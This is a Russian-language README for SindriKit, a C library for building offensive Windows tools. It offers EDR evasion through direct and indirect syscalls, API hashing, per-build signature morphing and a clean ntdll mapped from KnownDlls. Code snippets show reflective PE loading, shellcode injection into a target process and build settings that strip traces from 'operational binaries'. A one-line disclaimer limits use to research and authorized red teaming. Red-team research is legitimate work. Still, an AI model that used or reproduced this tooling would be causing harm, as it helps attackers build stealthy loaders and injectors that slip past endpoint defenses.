
Основополагающая библиотека на C для создания оперативно достоверных наступательных возможностей
Наступательная разработка заслуживает лучшей архитектуры.
Библиотека на C для создания наступательных возможностей.
Большинство наступательных утилит зашивают механики выполнения прямо в логику техники. Рефлексивный загрузчик не просто отображает образ — он отображает его с помощью конкретной, захардкоженной цепочки вызовов VirtualAlloc или нативных NTAPI. Когда EDR начинает отслеживать эту конкретную цепочку, вы вынуждены переписывать весь инструмент.
SindriKit решает эту проблему, обеспечивая разделение ответственности через таблицы абстракции интерфейсов:
Переместив механики выполнения в указатели на функции времени выполнения, вы можете сменить всю стратегию с вызовов Win32 на сырые прямые syscall'ы одной строкой кода — без изменения логики выполнения полезной нагрузки.
snd_syscall_resolve_ssn_scan, snd_syscall_resolve_ssn_sort) с цепочкой приоритетов — меняйте или расширяйте стратегии, не трогая доменный код.SND_MORPH. Генерирует уникальные бинарные сигнатуры при каждой сборке, внедряя изменчивые непрозрачные предикаты в C-код, функционально эквивалентные математические выражения/NOP'ы в Assembly-заглушки и перемешивая раскладку памяти ключевых структур.cmake_minimum_required(VERSION 3.16)
project(MyTool C ASM_MASM)
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
set(SND_MORPH ON CACHE BOOL "")
add_subdirectory(libs/SindriKit)
add_executable(my_tool src/main.c)
target_link_libraries(my_tool PRIVATE sindri::engine)
cmake -B build && cmake --build build --config Release
Всего две строки — и ваш инструмент наследует все возможности SindriKit: разбор PE, резолвинг syscall'ов, рефлексивную загрузку...
┌────────────────────────────────────────────────────────────────────────────┐
│ ANY OFFENSIVE INTENT │
│ Loader · Injector · Spoofer · Patcher · Bypasser · Harvester · ... │
├────────────────────────────────────────────────────────────────────────────┤
│ SINDRIKIT API ABSTRACTION LAYER │
│ snd_memory_api_t -> alloc · free · protect │
│ snd_module_api_t -> load_library · get_proc_address · ... │
│ snd_process_api_t -> open · alloc_remote · write · protect · thread │
│ [ future tables ] -> thread · object · ... │
├──────────────────┬──────────────────────┬──────────────────────────────────┤
│ Win32 Profile │ Native Profile │ Bring Your Own Mechanic │
│ VirtualAlloc │ NtAllocateVirtual │ Driver · ROP · Exotic │
│ LoadLibraryA │ PEB Walk + EAT │ Operator-defined functions │
└──────────────────┴──────────────────────┴──────────────────────────────────┘
На практике это означает, что каждый домен следует одному и тому же контракту:
// Reflective loader
snd_ldr_pe_ctx_t ctx = {0};
ctx.raw_source = &payload;
ctx.mem_api = &snd_mem_win; // or snd_mem_nt / snd_mem_sys
ctx.mod_api = &snd_mod_win; // or snd_mod_nt
snd_ldr_pe_prepare_image(&ctx);
snd_ldr_pe_execute_image(&ctx);
// Classic injection
snd_inj_ctx_t inj = {0};
inj.target_pid = 1337;
inj.payload = &shellcode;
inj.proc_api = &snd_proc_sys; // or snd_proc_win / snd_proc_nt
snd_inj_classic_shell(&inj);
snd_inj_cleanup(&inj);
SindriKit рассматривает резолвинг syscall'ов как инжектируемую механику, выстраивая стратегии в порядке приоритета. Движок последовательно перебирает их, пока одна не сработает:
snd_syscall_set_ntdll(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
Инвокер отделён от резолвинга SSN — переключайтесь между прямыми и косвенными syscall'ами без изменения доменного кода. Косвенный вызов переходит на легитимный гаджет NTDLL, сохраняя адрес возврата syscall'а внутри ntdll.dll.
Каждое имя API и строка модуля удаляются из финального бинарника на этапе компиляции одной переменной CMake:
set(SND_HASH_ALGO "FNV1A") # or DJB2 recomputes everything automatically
set(SND_RANDOMIZE_SEED ON) # generates a fresh 32-bit seed on next configure
Каждый хеш вычисляется со случайно сгенерированным зерном (если SND_RANDOMIZE_SEED=ON). Статический след полностью смещается между компиляциями без изменения ни строки C.
Пользовательский мост на MASM-ассемблере для произвольного вызова функций во время выполнения. Сборки x64 точно следуют соглашению о вызовах Microsoft x64 (теневое пространство, размещение аргументов в регистрах, выравнивание стека). Сборки x86 помещают аргументы в обратном порядке с поддержкой целей как cdecl, так и stdcall.
Унифицированный парсер PE32/PE32+ с флагом is_mapped, который корректно обрабатывает как сырые образы на диске, так и отображаемые в память представления. Каждый доступ к записи каталога данных проверяется на соответствие отслеживаемым границам буфера перед разыменованием. Разрешение экспортов поддерживает цепочки форвардеров глубиной до 4 с поиском на основе хеша.
Протестировано на:
pe_mutator: обнулённые имена секций, целочисленные переполнения, недопустимые границы e_lfanew, испорченные импорты.Каждая наступательная операция управляется через отдельную структуру контекста с перечислением стадий. Операции можно приостанавливать между стадиями для обфускации сна или поэтапного развертывания, чисто возобновлять и инспектировать, находя точную точку отказа вплоть до подсистемы и причины.
Однократно инициализируйте конвейер syscall'ов (типичный паттерн):
PVOID clean_ntdll = NULL;
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &clean_ntdll);
snd_syscall_set_ntdll(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
Инвокер отделён от резолвинга SSN — переключайтесь между прямыми и косвенными syscall'ами без изменения доменного кода. Косвенный вызов переходит на легитимный гаджет NTDLL, сохраняя адрес возврата syscall'а внутри ntdll.dll.
Меняйте профиль выполнения одним присваиванием:
ctx.mem_api = &snd_mem_win; // diagnostic
ctx.mem_api = &snd_mem_nt; // NT stubs via PEB + EAT
ctx.mem_api = &snd_mem_sys; // direct syscalls (pipeline required)
Разрешение модулей следует тому же паттерну (snd_mod_win vs snd_mod_nt). Бэкенда модулей на syscall'ах нет — импорты используют PEB Walk + EAT даже в полных _sys-профилях.
SND_ENABLE_DEBUG=ONДля локальной разработки. snd_status_t расширяется и включает file, line и 128-байтовый строковый буфер context. SND_ERR_CTX и SND_DEBUG_PRINT выводят переходы конечного автомата, значения полей разобранного PE и результаты резолвинга syscall'ов. Используйте SND_USE_PRINTF=ON, чтобы направлять вывод в stdout вместо консоли отладки.
SND_ENABLE_DEBUG=OFFСтандартная конфигурация развертывания для операционных бинарников. Каждая диагностическая строка, ссылка на файл и номер строки полностью выкидываются на этапе компиляции. snd_status_t схлопывается до двух целых чисел. Ничего больше.
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
set(SND_USE_DEFAULTS ON CACHE BOOL "")
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
add_subdirectory(vendor/SindriKit)
target_link_libraries(my_tool PRIVATE sindri::engine)
Полная документация в docs/:
loader_winapi, loader_nowinapi, inject_pe, inject_shell, heavens_gateВ планах: домен Обход защит.
SindriKit создан исключительно для образовательных, исследовательских целей и авторизованного Red Teaming. Полный юридический дисклеймер и информация об OpSec-аспектах — в Политике безопасности.